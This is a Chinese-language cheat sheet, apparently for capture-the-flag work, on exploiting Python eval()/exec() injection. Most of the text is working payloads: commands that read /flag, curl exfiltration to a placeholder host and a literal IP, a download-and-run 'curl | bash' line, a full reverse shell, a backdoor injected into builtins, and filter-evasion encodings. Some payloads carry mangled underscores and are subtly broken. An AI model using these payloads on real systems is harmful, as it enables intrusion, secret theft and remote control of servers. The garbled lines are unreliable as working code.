随州市网站建设_网站建设公司_SQL Server_seo优化
2026/1/16 16:42:11 网站建设 项目流程

eval()、exec()

eval() 只能执行表达式。比如 1+1、len('abc')、或者一个函数调用 os.popen('whoami').read()

exec() 可以执行语句。比如赋值 a = 1、导入模块 import os、条件判断 if、循环 for、定义类 class。这些在 eval() 里统统会报错。

eval()会给出返回结果,exec()只会执行

例如

eval("open('/flag').read()") 有回显

exec("print(open('/flag').read())") 无回显

全局环境下,eval()作为接收容器的六条链子

open('/flag').read() 有回显

_import_('os').popen('whoami').read() 有回显

_import_('importlib').import_module('os').popen('id').read() 有回显

_import_('os').system('curl http://vps_ip/shell.sh | bash') 无回显

_import_('subprocess').check_output(['tac', '/flag']).decode() 有回显

_import_('subprocess').getoutput('id') 有回显

全局环境下,exec()作为接收容器的九条链子

print(open('/flag').read())

import os; print(os.popen('whoami').read())

import subprocess; print(subprocess.check_output(['cat', '/flag']).decode())

import subprocess; print(subprocess.getoutput('id'))

带外攻击
import os; os.system('curl http://vps_ip/`cat /flag | base64`') 带外

重载os模块
from importlib import reload;import os;reload(os);os.system("curl http://xxxx?1=`cat /flag`")'

删除缓存
import sys;del sys.modules['os'];import os;os.system('curl http://36.150.237.12?1=`cat /flag`')

植入后门函数
def shell(c): return _import_('os').popen(c).read()
_builtins_.shell = shell

定义一个名为 shell 的函数。将其注入到 _builtins_ (全局内置空间)
后续攻击只需要让容器接收shell('ls') 即可

反弹shell

import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps_ip",111));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")

常见的绕过技巧

  • 拼接

'os' -> 'o'+'s'

  • 翻转

'os' -> 'so'[::-1]
'cat /flag' -> 'galf/ tac'[::-1]

  • getattr() 反射

os.system -> getattr(os, "system")

  • 进制转换 支持十六进制,八进制

_import_('os') -> _import_('\x6f\x73')
_import_('os') -> _import_('\157\163')

  • base64

exec('paylaod') -> exec(base64.b64decode('编码后的 Payload'))

  • . 被过滤

使用 getattr() 或字典键值访问 [ ]

_import_('os').system('id') -> getattr(__import__('os'), 'system')('id')

先用 getattr 拿到 _dict_ 字典,再用 [''] 取出函数
getattr(_import__('os'), '_dict__')['system']('id')

  • \ _ 被过滤

使用 getattr()配合编码

_import_('os').popen('whoami').read() -> getattr('','\x5f\x5fimport\x5f\x5f')('os').popen('id').read() 错误

因为getattr()从一个对象里获取属性,这里尝试去从空字符串找__import__,__import__ 并不属于字符串的方法,它属于 内置函数库

从全局变量里拿内置库,再从内置库里反射出导入函数
getattr(globals().get('\x5f\x5fbuiltins\x5f\x5f'), '\x5f\x5fimport\x5f\x5f')('os').popen('id').read()

  • 过滤中括号 []

.__getitem__()

_subclasses_()[185] -> _subclasses_().__getitem__(185)

  • 过滤引号
    chr()

open('/flag') -> open(chr(47)+chr(102)+chr(108)+chr(97)+chr(103))

  • 针对exec()的特化绕过

exec() 接收的是字符串,所以可以对整段代码进行多重加密

exec(bytes.fromhex('696d706f7274206f733b206f732e73797374656d282769642729').decode())

import zlib,base64; exec(zlib.decompress(base64.b64decode('eJxLSUzOSeWyUvByAdL6Ssm5uSmpSfm5ALscB88=')))

  • 在web场景下的request.args绕过

args还可以替换为
request.values: 同时包含 GET 和 POST。

request.cookies: 从 Cookie 中取值(更隐蔽,WAF 较少扫描)。

request.headers: 从请求头(如 User-Agent)取值。

_import_('os').system('cat /flag')

?code=__import__(request.args.a).system(request.args.b)&?a=os&b=cat /flag

  • 空格绕过(python内容)
    \t

  • eval执行下的多语句执行

利用[ ] ,

import os; res = os.popen('id').read(); print(res)

[res := _import_('os').popen('id').read(), print(res)]

列表里的元素会从左到右执行。第一个元素用 := 赋值,第二个元素打印它。

  • sys.modules

如果 WAF 把所有动态导入函数(__import__, import_module)都干掉了,可以去 Python 的“内存仓库”里翻。

globals()['sys'].modules['os'].popen('id').read()

  • 字符串构造

str(int) -> <class 'int'>

str(int)[1] -> 拿到了 'c'

str(dict)[2] -> 拿到了 'i'

True+True -> 2

  • 海象运算符

先把 getattr 赋给 g,后面全用 g 替代,省去大量字符

[g:=getattr, g(g(__import__('os'),'popen')('id'),'read')()][-1]

  • f-string
    _import_(f'{"o"}{"s"}').system('id')

  • 短路效应

原理:A or B,如果 A 为假(os.system 通常返回 0,即 False),则执行 B。

_import_('os').system('whoami') or open('/flag').read()

优势:消灭了逗号和中括号。

  • 针对数字构造

len(()) -> 0

len(({},{})) -> 2

True + True -> 2

(True<<True) -> 2

  • str()字母构造

str(sum) ''
str(abs) ''
str(dict) "<class 'dict'>"h

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询